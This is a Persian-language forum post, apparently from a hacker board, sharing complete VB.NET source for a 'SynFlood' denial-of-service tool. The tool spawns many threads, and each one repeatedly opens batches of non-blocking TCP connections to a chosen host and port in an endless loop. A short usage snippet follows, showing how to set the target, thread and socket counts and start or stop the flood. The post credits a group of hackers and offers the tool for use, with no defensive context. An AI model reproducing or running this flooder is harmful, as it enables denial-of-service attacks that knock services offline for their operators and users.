SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

VB.NET synflood

بستن
X
 
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید

  • VB.NET synflood

    [php]mports System.Net
    Imports System.Net.Sockets
    Imports System.Threading

    Friend Class SynFlood
    Private Shared FloodingJob As ThreadStart()
    Private Shared FloodingThread As Thread()
    Public Shared Host As String
    Private Shared ipEo As IPEndPoint
    Public Shared Port As Integer
    Private Shared SynClass As SendSyn()
    Public Shared SynSockets As Integer
    Public Shared Threads As Integer

    Public Shared Sub StartSynFlood()
    Try
    ipEo = New IPEndPoint(Dns.GetHostEntry(Host).AddressList(0), Port)
    Catch
    ipEo = New IPEndPoint(IPAddress.Parse(Host), Port)
    End Try
    FloodingThread = New Thread(Threads - 1) {}
    FloodingJob = New ThreadStart(Threads - 1) {}
    SynClass = New SendSyn(Threads - 1) {}
    For i As Integer = 0 To Threads - 1
    SynClass(i) = New SendSyn(ipEo, SynSockets)
    FloodingJob(i) = New ThreadStart(AddressOf SynClass(i).Send)
    FloodingThread(i) = New Thread(FloodingJob(i))
    FloodingThread(i).Start()
    Next
    End Sub

    Public Shared Sub StopSynFlood()
    For i As Integer = 0 To Threads - 1
    Try
    FloodingThread(i).Suspend()
    Catch
    End Try
    Next
    End Sub

    Private Class SendSyn
    Private ipEo As IPEndPoint
    Private Sock As Socket()
    Private SynSockets As Integer

    Public Sub New(ByVal ipEo As IPEndPoint, ByVal SynSockets As Integer)
    Me.ipEo = ipEo
    Me.SynSockets = SynSockets
    End Sub

    Public Sub OnConnect(ByVal ar As IAsyncResult)
    End Sub

    Public Sub Send()
    Dim num As Integer
    Label_0000:
    Try
    Me.Sock = New Socket(Me.SynSockets - 1) {}
    For num = 0 To Me.SynSockets - 1
    Me.Sock(num) = New Socket(Me.ipEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp)
    Me.Sock(num).Blocking = False
    Dim callback As New AsyncCallback(AddressOf Me.OnConnect)
    Me.Sock(num).BeginConnect(Me.ipEo, callback, Me.Sock(num))
    Next
    Thread.Sleep(100)
    For num = 0 To Me.SynSockets - 1
    If Me.Sock(num).Connected Then
    Me.Sock(num).Disconnect(False)
    End If
    Me.Sock(num).Close()
    Me.Sock(num) = Nothing
    Next
    Me.Sock = Nothing
    GoTo Label_0000
    Catch
    For num = 0 To Me.SynSockets - 1
    Try
    If Me.Sock(num).Connected Then
    Me.Sock(num).Disconnect(False)
    End If
    Me.Sock(num).Close()
    Me.Sock(num) = Nothing
    Catch
    End Try
    Next
    GoTo Label_0000
    End Try
    End Sub
    End Class
    End Class
    ================================================== ====
    *Tnx to
    Mr.XpR -UnknowN- Syamak Black - Samim.s
    FarbodEZRaeL-Sianor-All iranian Hackerz
    ================================================== ====[/php]

    کد:
     SynFlood.Host = ip-ul		   SynFlood.Port = port-ul		   SynFlood.Threads = numar threads		   SynFlood.SynSockets = numar sockets		   SynFlood.StartSynFlood()  pentru stop		    SynFlood.StopSynFlood()
صبر کنید ..
X